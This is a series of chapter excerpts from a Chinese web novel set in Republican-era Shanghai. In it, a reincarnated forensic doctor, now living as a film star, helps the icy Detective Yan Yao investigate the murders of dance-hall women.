《水是睡着的火[民国探案]》 1. 初露锋芒 倾城名伶 VS 《水是睡着的火[民国探案]》全本免费阅读 上海滩公共租界,斯科特路拳击馆。 男人赤露上身,正对着沙袋,练习搏击,他的肌肉贲张,八块腹肌,像草原上的一只雄狮,男人味十足。 出拳狠厉,毫不犹豫。 沙袋炸出沉闷的响声,汗滴从他的下颚落下,滴在地上,绽出浅白的痕迹。 耳边传来匆忙的脚步声,下属杰克赶到他面前,神色慌张。 “炎Sir,有案子了。” 男人停下手,操起一条毛巾披在身上,周身向外散发着热气,他揉了揉头发,侧脸问道:“哪里?” 声音冷冽克制,似是见惯了大场面。 “大中华歌舞厅,一名舞女在洗手间被杀,客人在去厕所的时候,发现门边有血印,推门后,就看到舞女倒在地上,身中数刀,已经气绝了。” “所以,你的意思是舞女在洗手间被杀,还是尸体在洗手间被发现?” “是……是后者。” “说话要严谨。”炎曜起身,将毛巾丢在一旁,干脆利落道:“去凶案现场。” *** 大中华歌舞厅坐落在霞飞路,是上海滩达官显贵们常去的所在,里面莺歌燕舞,十分热闹,如果说上海滩是十里洋场,那这歌舞厅就是一颗明珠,经常在半夜还灯火通明。五光十色的霓虹灯闪烁,像流动的波光,给夜色添了一分旖旎动人。 警车停在歌舞厅的正门口,现场被封锁了,炎曜早已换好警服,他身材笔挺,气宇轩昂,从围观人群中走过,与众不同。 “炎探长,这边请。”歌舞厅的经理姓张,是上海本地人,对着炎曜殷勤十足,“真是触霉头,客人听说这件事后,肯定好一段时间都不敢来我这儿了,不过今天炎探长来了,一定能帮我们找到真凶,让戴姑娘死而瞑目。” 死者姓戴,名春芳,是歌舞厅小有名气的舞女,几年前曾是个演员,因为年纪大了,过气,才不得不到舞厅谋个生计,谁曾想,今日竟命丧于此了。 炎曜在张经理的带领下来到歌厅的洗手间,还未进门,一股浓重的血腥味就扑面而来。洗手间外面围满了人,全都探着脑袋往里望,炎曜皱眉,要手下将他们挡在外面,不得进来。 靴子刚踏入,却见一个女郎正蹲在尸体边,不知做甚。 从背后看,她身材窈窕,一身水蓝色的高定流苏裙,左肩别一朵纱花,垂下轻纱,脖戴一串莹润的珍珠项链,衬得冰肌玉骨。轮廓妩媚动人,长卷发垂在身后,银色的高跟鞋,小腿白皙修长,引人无限遐想。 “小祖宗,炎探长来了,快过来!”身边的男人急得跳脚,连忙向她招手。 女郎却无动于衷,动都不动。 “她……是谁?”炎曜冷声问:“不是说了,无关人等全都出去么?” “我不是无关人等。”女郎起身,转过来,直直对上他的眼,“我是报案者。” 声音清朗动听,比黄鹂的吟唱还悦耳。 炎曜皱眉,细细打量眼前之人。 明眸皓睐,眼尾上翘,鼻子纤瘦,红唇乌发,眼角有一颗小痣,更添婉转风流,像古中国画中走出的美人。炎曜虽然对女人欣赏无能,平日里也不多关注,可是心里还是有一个声音告诉他,眼前的人,很美。 “她……是水影儿!”手下杰克操着不标准的中国话,激动地说。 他虽是个英国人,在上海住了多年,倒也成了中国通,对水影儿的大名自然如雷贯耳。 “谁?” “水影儿!新光公司旗下的明星,最近炙手可热,上海滩许多大佬都捧着投资,求她演呢。” “呵呵,炎探长,我家影儿不懂事,您可千万别和她计较。”身旁的男人讪讪道,一颗金牙,大拇指戴着金戒指,头油抹很多,是水影儿的经纪人常昶。 水影儿越过经纪人,向炎曜伸手道:“炎探长,久仰。” 余光跳向眼前的手,白皙,柔软,手腕处系着一条蓝色的丝带,却阻挡不住那道狰狞的伤痕,好像白瓷落了印。 炎曜伸手:“水小姐,幸会。” 片刻便收回。 水影儿也不恼,淡道:“我是第一个发现尸体的人,今日和投资人聊新电影的事宜,多喝了几杯,去洗手间时,便发现了死者。”她走近炎曜一步,吐气如兰,“死者胸口中了数刀,可是致命伤却不在此,初步判断,是中毒,因为嘴唇发青,眼眶发黑,耳鼻流血。还有,胸前的伤口,是死后被人砍的。” “怎么说?”炎曜冰山般的容颜终于松动了下。 “若是生前受刀伤,皮肤收缩,尸体上伤口会绽开,而你看这里,”她走近死者,指着伤口说:“很明显,尸体皮肤并未收缩,伤口整齐,由此可见,是死后被人砍的,目的是掩盖她中毒而死的真相。” 有点意思。 炎曜手插着裤兜,抬眸道:“还有什么发现?” “洗手间窗户紧闭,从里面落了锁,而且也没有打斗的痕迹,你看,从门口到尸体处有拖拽的血迹,可见尸体是从大门送进来的,调查一下这栋楼的清洁工,酒保,楼层经理,或许会有收获。” 她的双眼皮很深,眸光一凛,声音带着不容置疑的自信与冷静。 经纪人常昶却瞪大了眼,难以置信地望着水影儿。 古怪,一定有古怪。 她在上部戏杀青时,曾萎靡了一阵,和杜家二公子的绯闻闹得满城风雨,还割腕过,昏迷了三天三夜,再次醒来,就像换了一个人,很多事情都不记得了,常昶还以为她受了刺激,也不给她排戏了,可是水影儿却主动和他说,自己已经无碍,可以正常工作了。 “请问炎探长,我可以先回去了吗?”水影儿露出一丝职业的微笑,她笑时脸颊有两个浅浅的梨涡,活色生香。 炎曜又恢复了往日的冰冷,不动如山:“请便,不过,明天会有警员联系你,询问更多的细节。” 水影儿突然眯着眼,走近一步,眼中似乎带着某种……光泽。 炎曜本能地后退一步,这个女人太过美丽,而美丽到极致,便会带来危险。这是一个显而易见的道理,却有太多的人总被外在的皮肉所迷惑,而忘记了最初的目的,而炎曜,总是最清醒理智的那一个。在他的心里似乎早已根深蒂固一个观点——一步错,步步错,他不容许自己犯错。 没想到。 高跟鞋落在他跟前,不远不近,正好一臂远。 水影儿只是顿了顿,说:“哥们儿,带我一个呗,我对这个案子,很有兴趣。” 炎曜:“……” 他没有回答,只是让手下将尸体抬出去,外面还是人挤人的,大多都是男人,炎曜没有从他们的眼中看出怜悯,更多的是猎奇,戏谑,看热闹。戴春芳的遗体早已衣衫不整,几近全|裸。男人们并不觉得有什么需要回避的,毕竟是个舞女,生前都不知道陪过多少恩客,难道死了就会高贵几分? “等等。”炎曜叫住手下。 他将身上的披风脱了下来,缓缓搭在了戴春芳的身上,吩咐道:“仔细点,带去巡捕房的停尸间。” …… 到楼下后,水影儿准备等车,却听见几个舞女在议论。 一浓妆艳抹的叹息道:“这戴姑娘也是命苦,出来卖唱,是想给她小儿子攒钱看病的,谁想到却死在这了,也是红颜薄命。” “是啊,可怜的孩子,连爸爸都不知是谁,现在又没了妈,怎一个惨字了得!” 另一吊梢眉抱臂说:“嘿,不过是个没人要的野种罢了,也不知跟哪个野男人生的,再说了,戴春芳不过是个过气的老女人,年老色 2. 轮船失事 《水是睡着的火[民国探案]》全本免费阅读 高级轿车缓缓停在水影儿的别墅前,和老常道别后,她扭动钥匙,开了门。 虽然已经住了十天,可水影儿还是觉得这里新奇而陌生—— 富丽堂皇的水晶吊灯,价值不菲的唱片机,珍藏多年的红酒,奢靡新潮的装修……无不昭示着主人社会名流的地位。 累了一天,水影儿坐在意大利定制的牛皮沙发上,揉了揉太阳穴,开始沉思。 她原本是北平水家的大小姐水影,父母都是学者,书香门第出身的她,自然也想继承父母的衣钵回国当教授,可是唯独对法医学感兴趣,父母虽不解,却也不干涉她的选择。从英国牛津大学法医学毕业后,终于踏上了回国的轮渡,记忆仿佛定格在那一天,久久无法抹去。 那日,她在轮渡的房间内看书,突然有些闷,便打算去甲板上透气。 因为是半夜,大家都在睡觉,走廊内静悄悄的,连针掉到地上的声音都能听见。 突然,某个房间内传来议论声,水影本无意插手,只觉得是别人的隐私,可他们的话却吸引了水影的注意。 “明日午时,这船一定会沉没。” “都布置好了吗?” “是,货舱内被放入定时炸弹,我们在午时前坐小船离开,先走一步。” “很好,若这次行动成功,暗夜组织一定会对你嘉奖。” “感谢老大的信任。” 透过门缝,隐隐约约的,水影看到两人的胳膊上有个奇怪的纹身,是一条“衔尾蛇”,难道这蛇就是所谓“暗夜组织”的符号?她捂住嘴巴,努力不让自己发出声音,默默记住了房间号,转身离开,连脚步都小心翼翼,生怕撞倒周围的任何东西。 此时的她势单力薄,只能寻求外援,当前的第一件事,就是将此事告知船长和船员,即时阻止他们沉船的计划。 她沿着标识快速来到控制室,几个船员在打瞌睡,一人正在驾驶。 水影咳嗽了一声,推醒了他们。 “有急事。”她声音提高了一点。 船员们揉揉眼睛,睡眼朦胧。 “有人明日午时计划沉船,请你们去货仓检查,有炸药在那里。” 众人对视一眼,突然哄堂大笑,其中一人还吹了声口哨:“哪来的黄毛丫头,骗谁呢!哪儿凉快哪儿待着去吧。” “我说真的。”水影有些怒意,握紧了拳头,“不信,你们可以和我一起去货仓检查。” “我相信。”从驾驶室的甲板上拐出来一人,两鬓斑白,目光锐利,正是船长,船员们见船长都发话了,自然不敢造次。那船长的腰间挂着一把造型奇特的弯刀,这刀来自中东地区,刀柄用犀牛角所制,水影不由得多看了一眼。 “姑娘,请和我一起去货仓,一探究竟。” 水影点头,心想,不愧是船长,是个明白人。 他们沿着狭窄的楼梯来到了货仓,只觉得气味难闻,水影举着煤油灯,请求船长帮忙,将货品的箱子打开,入目正是黑色的炸药。 “这下你们该相信了吧。”水影自信一笑,长须一口气,“还好发现即时,现在请叫船员们下来,我们一起将炸药丢入海里,再去2005房间抓住那些不法之徒。” 船长点头,“丫头,多亏你了。” 身后却半天没动静,水影转身,想催促船长,这都火烧眉毛了,为什么还如此淡定?谁想到,脖间突然一麻,水影只觉得动弹不得,瘫软在地。 露出难以置信的表情,她说不出话,表情却暴露了一切。 ——原来你竟和他们是一伙的?! 船长终于露出一丝诡异微笑,他掀起自己的袖子,里面有一横刺青,还有两条衔尾蛇的纹身。 “姑娘,你很聪明,只是运气不太好,多谢告知,要是你声扬出去,这计划可能会落空。我会和组织报告,避免日长梦多,要求提前行动。” 就这样,随着爆炸,“轰隆”一声,水影随着船一起沉了下去。 水一点一点漫入船舱,直到将一切湮没殆尽。 临死的前一刻,水影心中十分不甘,自己在国外努力学习,好不容易学成归来,希望能为国家做一些贡献,如今却要死在这里,一切的努力,都成了泡影…… 她不能死。 不能! 强烈的求生欲让她血脉贲张。 再度醒来,灵魂却落入到另一个躯壳…… 水影发现,自己与水影儿虽然相貌不同,生辰八字却一模一样,连名字也只差一字,也许是冥冥之中,上天的安排吧。醒来的第一件事,便想去告知父母,可是上海离北平相隔千里,自己如今又换了样子,难免会让年迈的父母受到惊吓,说不定还会被当成失心疯,让家丁给赶出来。可怜她父母在北平,一定会伤心难过,水影便寄了一封信,说自己之前的船票掉了,错过了失事的那班,如今已经平安到了上海滩,还找了一份工作,到时候休假再回北平看望双亲与奶奶。 不知怎的,对于“暗夜组织”,她总有一丝不祥的预感,总觉得他们一定不会善罢甘休。穿越后,她查阅了典籍,发现衔尾蛇在古欧传说中是“乌洛波洛斯”,因为形象是一条蛇正咬着自己的尾巴,形成一个圆环,寓意是“自我吞噬者”,也是“无限循环”的意思,用此符号来当做组织的徽章,足以彰显领导者的野心。 只是现在,她在明,敌在暗,一切,还需从长计议。 *** 次日。 水影一大早就接到了巡捕房的电话,电话那头传来一道年轻的声音,来人姓“李”,名“为乐”,是炎曜的另一下属。 “水小姐,早上好,巡捕房有个不情之请,不知您是否答应?我们的法医蒋照最近家里有急事,母亲重病,请了很长一段时间假,事发突然,又没有合适的法医,所以想请水小姐过来帮下忙,当然,报酬一定会很丰厚。” 他的声音紧张,好像练习了许久。 “是你们炎探长的请求吗?”电话那头,水影的声音淡淡的,听不出情绪。 李为乐瞟了一眼身旁的炎曜,讪讪道:“是的。” 炎曜一身警服,坐在不远处的一个椅子上,正在阅读文件,阳光落在了他的侧脸,显得英俊无俦,不动的时候,像一座古希腊雕像。 昨日将尸体带回巡捕房后,炎曜委托法医蒋照对尸体再检查一遍,看是否与水影儿说得一样。其实心里对水影儿的能力还是存疑,因为她是个演员,术业有专攻,对于验尸也许只懂些皮毛,说法会有错误,没想到蒋照和水影儿说得完全一致,倒证实了水影儿的能力。可是蒋照来不及细看,今天一早就要回老家广州,炎曜便想请水影儿过来一试。 上海滩一向卧虎藏龙,炎曜虽对水影儿会验尸这事惊讶,却没有过多揣测。 挂了电话,李为乐兴奋地说:“水小姐答应了,十点钟会准时过来。” 炎曜颔首,继续阅读文件。 两小时后。 水影坐一辆黄包车来到巡捕房,警局十分气派,两边有大理石雕刻的石狮子,两名哨兵在站岗,身姿笔挺。李为乐早候在门口,见到水影,露出一丝憨厚的微笑,大白牙,脸颊还有两个酒窝,倒是个高高瘦瘦,干净清爽的小伙子,只是显得有些稚嫩,像初出茅庐的样子。 他做出一个请的手势,带水影来到一幢建筑前,道:“ 3. 眼镜先生 《水是睡着的火[民国探案]》全本免费阅读 巡捕房内有一条小径,小径两旁有几棵高大的梧桐树,细碎的阳光从叶间渗了下来,耳边还有鸟雀的鸣啼,颇有清幽之感。 二人一同下了楼,沿着这小径去饭堂。 炎曜个子很高,站在水影身边,足足比她高出一个头,他的警察制服很合身,戴着警帽,在脸庞上落下阴影,隐隐穿出了几分神秘深沉的威严。一路上,二人并未讲话,可是水影却不感觉尴尬,只觉得站在他身旁,没来由地有种安全感。 “到了。”炎曜指了指饭堂边的一间小屋。 话音未闭,小屋中就传来了震天响的哭声。 “妈妈……我要妈妈!” 推门进入,魏姨正抱着那孩子哄,他大概三四岁左右,脸圆圆的,戴着虎娃帽子,还留了两行小鼻涕,魏姨正用小拨浪鼓在他耳边轻晃,一边哼着歌谣,见炎曜来了,站起身,抱着孩子,微赧道:“炎探长,不好意思,他一直哭,我都不知如何是好了。” “让我来试试。”水影从炎曜身后探出头来,从魏姨手中接过那孩子。 “姑娘,小心些。”魏姨眼见这小姑娘美貌惊人,娇滴滴的,万一摔了孩子怎么办,没想到她却一只手将孩子抱了过来,放在桃木凳子上。 小孩两只脚直蹬,还不安生。 水影半蹲下去,从荷包里掏出一块手绢,仔仔细细地给他擦眼泪。 小孩哭。 水影擦。 小孩继续哭。 水影继续擦。 一点也没不耐烦。 “糖……糖……”小孩渐渐止住了哭声,断断续续地说。 “马上给你,真乖。”水影起身,摸了摸小孩的脑袋,转头对炎曜说:“请问,能帮我买盒软糖吗?巡捕房旁边的商铺就有。” 得,把他当小工了。 炎曜腹诽道,还是去买了糖果。 再次回来时,却见那小孩笑得很开心,直拍巴掌,水影正在他旁边摇拨浪鼓,温温柔柔的样子,阳光仿佛给她镀上了一层柔光,如在梦中。 “你要的糖。”炎曜递给她,声音高冷。 “不是我,是他要的。”水影纠正道,眸子晶亮,“既然是你送他的,那你喂他吃吧。” 炎曜:“……” 他一个大男人,完全没有哄小孩的经验,此时的他,上前也不是,站在原地又不是。水影似乎看出了他的犹疑,补充道:“刚才我问了,他叫小虎,小虎其实不傻,只是讲话比别人慢些。你不是想拉近和小孩的关系么?喂块糖总不过分吧。” 也罢,为了查案。 炎曜撕开包装,抽出一块糖果,递到小虎的嘴边。 他不说话,也不笑,轻抿薄唇,有种上位者的威严。 小虎见炎曜那么严肃的样子,吓到了,“哇”的一声,又哭了。 炎曜有些不知所措,小孩的眼泪弄得他心烦意乱,只觉得哄小孩怎么比抓坏蛋还麻烦。 “别这么严肃嘛,对着小虎笑笑。”水影提议,将拨浪鼓递给他。 炎曜也学水影的样子半蹲了下去,扯出一个笑容,片刻就没有了,像吹风吹皱了池水,霎时便还原。 小虎却对他的警帽起了兴趣,止住哭,一把将炎曜的警帽扯了下来,在手中把玩。 魏姨有些惊慌:“炎探长,小孩子不懂事,您可千万别和他计较啊。” 炎曜先是一怔,继而理了理头发,轻咳了一声,说:“没事。” 又将糖递给小虎,这次他吃了,还津津有味的样子。 从侧面看,炎曜的睫毛居然很长,落下一片阴影,水影突然冒出一个念头,他以后对自己的孩子也会这样吗?如果是的话,炎曜一定是个好爸爸。 这个念头一出,水影就被自己吓了一跳,立马赶走了遐思。 “叔叔,我……妈妈……去哪里了?”小虎断断续续地问。 炎曜的眼底闪过一丝不忍,他揉了揉小虎的头,说:“你妈妈去一个很远的地方了,临走前,委托我们照顾你。” “那……眼镜叔叔呢……”小虎抬头问。 炎曜和水影对视一眼,只觉得他口中的“眼镜叔叔”也许是个关键人物。 水影柔声说:“小虎,能告诉我们,眼镜叔叔和你妈的关系吗?” 小虎呆了一下,以很慢的速度说:“眼镜叔叔……每周一来看我……和妈妈,不过,有一次他打了……妈妈一巴掌,就再也……没来了。” 小虎嘴巴一撇,像勾起了什么噩梦般的回忆,又想哭。 水影却说:“眼镜叔叔是坏人,巡捕已经把他关起来了,他再也不能欺负小虎和妈妈了。” “真的吗?”小虎眼睛扑闪,模样开心,继续把玩着炎曜的警帽。 炎曜侧身,问:“小虎很喜欢这帽子吗?” 小虎咿咿呀呀道:“当巡捕,抓坏人!” 炎曜的目光突然像被触动了,他慢慢地,一点一点地伸出手,摸了摸小虎的头,还擦了下他眼角的眼水。就在水影以为他冰山融化,铁树开花时…… 炎曜突然起身,拿回帽子戴上,动作十分突兀。 “线索拿到,走吧。”声音不带一丝一毫的温度,仿佛刚才的温情都是她眼花了。 水影:“……” 这个男人,真是变脸比翻书还快呢。 出魏姨的门后,水影问炎曜:“小虎以后会怎样?你们会将他送入孤儿院吗?” 在水影心中,孤儿院就像一个弱肉强食的小社会,小虎发育迟缓,个子也比一般孩子要矮小,这样的状况,很难不被欺负,她虽无可奈何,却也于心不忍。 炎曜摇头,平静地说:“魏姨很喜欢小虎,她是个寡妇,孩子在一岁时肺炎去世,房里才会有这些小孩的玩意儿。她这些年都没个寄托,也没改嫁,只是向我恳求能收养小虎,也算是大人小孩做个伴。” “那就好了。”水影驻足,没来由地舒了一口气。 “眼镜先生的事,我会着手调查,这次的报酬,也会让杰克结给你。”炎曜背着手,公事公办地说。 “给小虎当零花钱吧,也算是我的一点心意。”水影拎着包,美眸一定,道:“我的片酬够生活,不必赚外快,不过是对法医学很有兴趣,才想尽绵薄之力,若炎探长还有需要,尽管联系我。” 她也学着他的样子,双手抱臂,公事公办地说。 “多谢。”炎曜将手负在后面,目光却像风儿吹过的麦田,忽明,忽暗,好似在思索什么。 这时。 杰克一路小跑了过来,揣着气,脸红脖子粗:“水小姐,外面有一男子,自称是您的经纪人,好像很着急的样子,一直在问我们您什么时候结束。” “我这就过去。”水影以为老常有什么急事,便匆匆和炎曜道了别,离开了巡捕房。 …… “小祖宗,你可算来了。”常昶向里面张望了许久,终于盼来了水影,简直比见到亲人还激动。 “有什么重要的事吗?”她睨了他一眼,老常一向说风就是雨,豆大的事儿都恨不得被他说成天要塌了。 “昨天忘了跟你说,龙庄布坊刚到了一批洋货,上海滩的姑娘们争相预定,还要排号,我想你周日的晚宴一定不能落了下风,便帮你定了个号,下午一点去,过时不候,喏,现在都十二点半了。”他指了指擦得发亮的手表,一本正经道。 “有的人就算裹一身粗布麻衣都能成全场的亮点吧?”水影下巴微抬,揶揄道。 老常金牙一闪,心想,我当然知道你美貌,可嘴上还是说:“理虽是这个理,毕竟人靠衣装,佛靠金装嘛。” …… 轿车行驶在上海滩繁华的街道上,不时传来叫卖声,水影见有个卖糖葫芦的,便要司机停下,买了一串,在国外待太久,很久没吃糖葫芦这种特色小吃了。这红彤彤的糖葫芦,就像一个个小灯笼,着实让 4. 衣香鬓影 《水是睡着的火[民国探案]》全本免费阅读 炎公馆坐落在上海滩的静安寺附近,这儿是富人区,有很多高档酒店,影院戏楼,连过路人的衣饰都像比别区讲究些。高档轿车停满了门口,一幢西式洋房,外面开了一大片绣球花,绿树成荫,花草茂盛。最有特点的便是洋房上的彩色玻璃穹顶,很像西方大教堂的装饰,阳光落下,地面便铺开缤纷的颜色,像上天打泼了调色盘。这是炎白钰花大价钱从欧洲定制的,光运费都是普通百姓一年的开销。 炎白钰在大堂待客,他身材高大,精神矍铄,一身长衫长袍,很有旧上海的风味,身旁一位面容姣好的妇人,是他情人,交际花亮冰,炎白钰本来打算今年过年后便娶她过门,可是不知怎的,街头小报得了消息,写了长篇报道批判此事,都说亮冰攀附权贵,心怀不轨,还列举了她往日的许多暧昧对象。炎白钰只好作罢,一是舆论压力太大,二是被报道里的一众男人刺了眼睛,可是又不舍得亮冰,才没撕破脸,只是对她的态度却大不如前了。 舞厅有很多人跳舞。 他们锦衣华服,衣香鬓影,一派歌舞升平的景象,像翩翩的蝴蝶落入了舞池,让人眼花缭乱。音乐环绕,美酒佳人,恍若天界。 一曲罢了,门童扯了扯嗓子,通报:“杜二公子和原大小姐到了。” 原落依一身银丝绸裙,衬得她气色不错,妆容精致。她挽着一名年轻公子,那公子生得很漂亮,桃花眼,瓜子脸,戴一框金丝眼镜,一身白色西装,风度翩翩,正与人谈笑风生。 “炎老爷,恭喜啊!”杜邵凛将贺礼递给炎府管家,彬彬有礼道。 “老夫也要恭喜杜公子与原小姐订婚大喜啊!”炎白钰从善如流道。 然而,尴尬的事情发生了。 原落依发现,自己与炎老爷的女伴亮冰居然撞衫了,她们的衣服出自同一布匹,款式与样子也差不多,二人对望一眼,只能掩下心里的尴尬,像两只燕儿散落到会场的不同区域,装作若无其事的样子。 这正好被水影料中了——既然老板说是最后一匹,一定被许多人买过了,撞衫的可能也很大,所以她才放弃了那匹布。 “曜儿怎么还没下来?”炎白钰皱眉,问管家。 “少爷正在帮您准备礼物。” “还算他有心。”炎白钰捋捋胡子道。 炎曜虽是自己的亲生儿子,可总和他有些疏离,自从那件事后,这孩子就像和他隔着一层似的,久而久之,便没有那么亲近了。炎白钰一开始很疼惜这个儿子,总是有意无意地想修补他们之间的关系,却总是无功而返,有时甚至弄巧成拙。不过已过知天命的年纪,炎白钰也逐渐不那么在意了,至亲至疏是父子,什么事都别太认真,面子上过得去就成。 正说着,炎曜从二楼的房间缓缓下来,与以往不同,他今日未穿警服,而是衬衫、马甲、黑色西装,头发用发蜡梳的很好,矜贵清冷,只是周身散发一种生人勿进的气场,让人不敢逼视。众人的目光都被他吸引住了,只觉得眼前之人光芒太盛,让整个会场都耀然生辉。 他跟父亲寒暄了几句,环顾四周,目光落在了杜二身上,却并未上前攀谈,而是找了个地方坐下,倒了一杯酒,拿在手上。期间,有许多小姐害羞上前,希望共舞一曲,炎曜都礼貌而绅士地拒绝,说不善此技。他表情虽冷淡,可小姐们被拒绝了,倒也不觉得难堪,只是安慰自己说,也许这先生是真的不喜欢跳舞。 这时,门童突然通报:“水小姐到了。” 大门缓缓打开,仿佛有花香飘过。 水影一身香槟色丝绒长裙,珍珠耳坠,秀发盘在脑后,只垂下几缕青丝,婷婷袅袅,像一只高贵的天鹅。她的五官本生的极好,以前却被浓妆给掩盖住了,现下略施粉黛,只画了红唇,倒显得艳色更甚。 原洛依眼见着众人的目光都被她吸引,只觉得嫉妒,手挽在杜二的臂上,默默地握成了拳。 杜二也嘴唇微张,只觉得水影儿今天的打扮很美,目光久久徘徊在她身上。 没想到,水影直直地往他的方向走来。 杜二呼吸一滞,众人也都像看热闹似的,默默地让出一条道。 杜二公子站在原地,众目睽睽之下,也不想显得太过无情,毕竟自己以前拒绝过她,原因也没什么,只是觉得她总缠着自己,很烦人。 高跟鞋一步一步。 离他更近。 杜二的心也一下一下。 愈发收紧。 脑中冒过一百个念头,就在他以为水影儿会停下脚步时,她却从他身边飘然而过,头也不回,像路人一般。 “水小姐。” 男人的自尊心让杜二忍不住,唤了一声。 人啊,都有一种奇怪的心理,得到手的不珍惜,不搭理你的反而勾起你兴趣。杜邵凛觉得,水影儿一定是在欲擒故纵。 “公子,我们,认识么?”水影莞尔,虽明媚动人,笑意却未达眼底。 杜二:“……” 他只好扯出一抹笑,扶了扶眼镜,酸溜溜地说:“水小姐怕是贵人多忘事了,只是今日的打扮,着实亮眼,便想称赞一下。” “多谢。” 短短两个字,很是疏离,随即,头也不回地走了。 杜二:“……” 谁曾想,水影是往炎曜的方向去的。 她立在炎曜身边,朝桌子敲了三下,炎曜抬头,对上一双清澈莹润的眸子。 “炎探长,好久不见。请问这里有人吗?”她抿唇一笑,大方优雅。 “坐吧。”炎曜喝了一口酒,道。 水影拉了个椅子过来,托着腮,坐在他身边,说实话,这是她第一次看到炎曜这样的打扮,像一个贵族,气质绝佳,比画报上的男明星还要迷人。不过,她可没空管这些,有更重要的事吸引她的注意。 “听说,发现了第二具尸体?” 坐下的第一句话竟是这。 炎曜没有否认,缓缓道:“第二名死者,在今天早上发现,是一名妓院头牌,叫王莺莺,她身中数刀,与上一名死者死状相似,现在正在巡捕房的停尸房。” “这倒有些奇怪了,”水影用手支着头,像是想起了什么,“你听过伦敦的开膛手杰克吗?他也是这样,专对风尘女子动手,不过他手段更加变态,还将这些女子的器官炒菜吃,也不嫌恶心。” 懂得还挺多。 以前还以为只是个空有外表的花瓶,没想到倒有些见识。 炎曜转头望她,只见她手中握着一杯葡萄酒,骨节分明,手指白皙修长,红酒与雪肤,像红梅与白雪,相得益彰。 炎曜撇开目光,道:“还有一个发现,通过调查,我们知道小虎口中的眼镜先生是谁了。” “谁?”水影眼睛一亮。 炎曜下巴一抬,努了下嘴,正是杜邵凛的方向。 “居然是他?”水影难以置信,本以为杜邵凛只是一个空有皮囊的花花公子,没想到却与命案扯上了联系。 炎曜继续说:“巡捕通过询问戴春芳周围的住户,得知了眼镜先生的相貌,与杜邵凛十分相似,再将杜二照片让他们相认,住户说,就是此人。” 炎曜打量了一下她的表情,以前外面疯传,水影儿与杜二有暧昧关系,可是今天看来,她对他却和路人差不多,难道,传闻是假的? 水影敲了一记桌子,拉回了他的遐思。 “你继续说啊。” 炎曜喉结滚动,道:“今天我观察了杜邵凛 5. 天罗地网 《水是睡着的火[民国探案]》全本免费阅读 暮色四合,街灯起了,炎公馆点上了灯,灯光缀在建筑上,更添华美神秘,夜空闪着星星,像明珠洒在黑绸上,有种梦般的美感。 水影来到天台上,炎曜靠着一根柱子,一腿微弯,正在抽烟,烟雾的笼罩下,他脸庞的轮廓并不清晰,夜色仿佛给他镶上了一层柔光,显得有些孤寂。他没穿外套,上衣的扣子松开了两颗,带着几分慵懒的感觉。 “刚才我探了一下杜二的口风,他的表情虽是惊骇,却没有凶手那种应有的表情。”水影打开了话匣子。 “哦?”炎曜掸了下烟灰。 “从心理学的角度讲,一般凶手在听到自己所杀之人的死亡现场描述时,心底会有隐隐的兴奋,这兴奋即使压抑得再好,也会通过微表情传递出来,可是我刚才注意杜邵凛的表情,他似乎只是害怕,并没有其他感觉。”水影皱眉,道:“事情恐怕没有那么简单,要么就是杜二心机颇深,隐藏得极好,要么,就是凶手另有其人。” “如果是第二种可能,那凶手的真正目标也许正是杜邵凛。” “嗯?”水影不解:“为什么不直接杀了他,而是要绕这些弯呢?” 炎曜指尖夹着烟,声音清淡:“在上海滩,身败名裂是比死亡更可怕的事情,如果杜二真的被安上了杀人罪,那么等待杜家的,将会是更大的浩劫。” 他的话语回响在天台上,像远处佛寺飘来的梵音,有着震撼人心的力量。 水影陷入了沉思,看来凶手不止是憎恨杜二,更是憎恨整个杜家。上海滩无人不知,杜家有一子一女,杜大小姐几年前出阁,嫁到了烟草大王的家里,现在只有杜二公子在家。老爷和夫人对这位公子宠爱有加,含在嘴里怕化了,捧在手心怕摔了,如果他们唯一的儿子入了狱,还被判杀人罪,那么整个杜家在上海滩都会抬不起头。 “还有一件事,值得深思。”炎曜顿了一下,道:“刚才我得到消息,经过问询两位死者的熟人,她们说戴春芳和王莺莺死前曾和一名蓝衣女子交好,可她们都不知道此女子是谁,巡捕们想从这女子着手,却没有任何头绪。” “还有这种事?”水影握紧了栏杆,只觉得线索错综复杂,“冒昧地问一句,你下一步打算做什么。” 炎曜灭了烟,声音又恢复了冷静。 “准备搜查令,明天搜查杜公馆。” 水影惊道:“这么快?你是要……引蛇出洞?” “不错。”炎曜点头,声音沉着地说:“这是一步险棋,却是凶手愿意看到的,我们便将计就计,看看躲在暗处的那人,会有何反应。” 月亮初升,皎洁的月光洒了下来,落在二人的身上,将影子拖得老长,月季花在阳台上悄然绽放,静谧地吐露着芬芳。 恍然如画。 *** 第二日。 “你们在干什么?” 清早,杜公馆就传来管家的惊呼声,“老爷夫人正在休息,你们不能进去。” “我们不是来找老爷夫人的,而是来找二公子的。”李为乐将搜查令举起来,放在管家跟前,说:“仔细看看,这是什么!巡捕房办案,不得干扰。” 管家递给李为乐一根烟,“大人行行好。” 李为乐说:“我从不抽烟,你若是再阻拦,我就当你妨碍公务了。” 管家只好退到一边,讪讪道:“那……请吧。” 李为乐做了一个出发的手势,便带着弟兄们进去搜查了。 杜邵凛睡眼惺忪,穿着蓝色绸缎睡衣,揉了揉眼,大声说:“烦死了,一大早扰人清梦,谁给你们这么大胆子!” 杜老爷和夫人也闻声而出,杜老爷额上布满皱纹,棕褐色的皮肤,眼皮耷拉着,快到花甲之年,杜夫人似乎比他小很多,四十出头,秀眉细眼,颇有江南水乡女子的风韵。杜邵凛与他母亲很像,有这幅好皮相,也是多亏了母亲。 杜老爷将拐杖捅了捅地面,生气道:“居然敢在杜公馆撒野,看来是不把老夫放在眼里了。” “杜老爷,不好意思,我们是奉炎探长之命,过来搜查。”李为乐顿了顿,说:“还请杜老爷配合。” “你是说炎曜?”杜老爷嗤笑一声,语带讽刺,道:“不过是个后生,我和他爹交情颇深,没想到他儿子居然来找杜公馆的麻烦,我倒要跟他爹说说,看他教出了怎样一个好儿子。” “话虽如此,可是上级指示,我们不得不从。有证据表明,二公子与前些天发生的歌厅舞女谋杀案有关,还请配合巡捕房调查。”李为乐到底年轻,在上海滩举重若轻的大人物面前,还是有些犯怵,可是职业素养使然,即使犯怵,也必须执行公务。 他冷了冷神情,吩咐兄弟们开始搜查。 “反了,反了这是!”杜老爷气得七窍生烟,拐杖捅得地面簌簌作响。 杜老爷虽知道儿子是个风流性子,却万万没想到,会与人命官司有关。 管家张叔不敢得罪巡捕房,见巡捕要去后花园,不禁说:“那里没什么好查的,除了一个柴房就是许多花,那些花可是园丁辛辛苦苦培育的呢,希望你们小心点,不要破坏。” 没想到,真在柴房里搜到了痕迹。 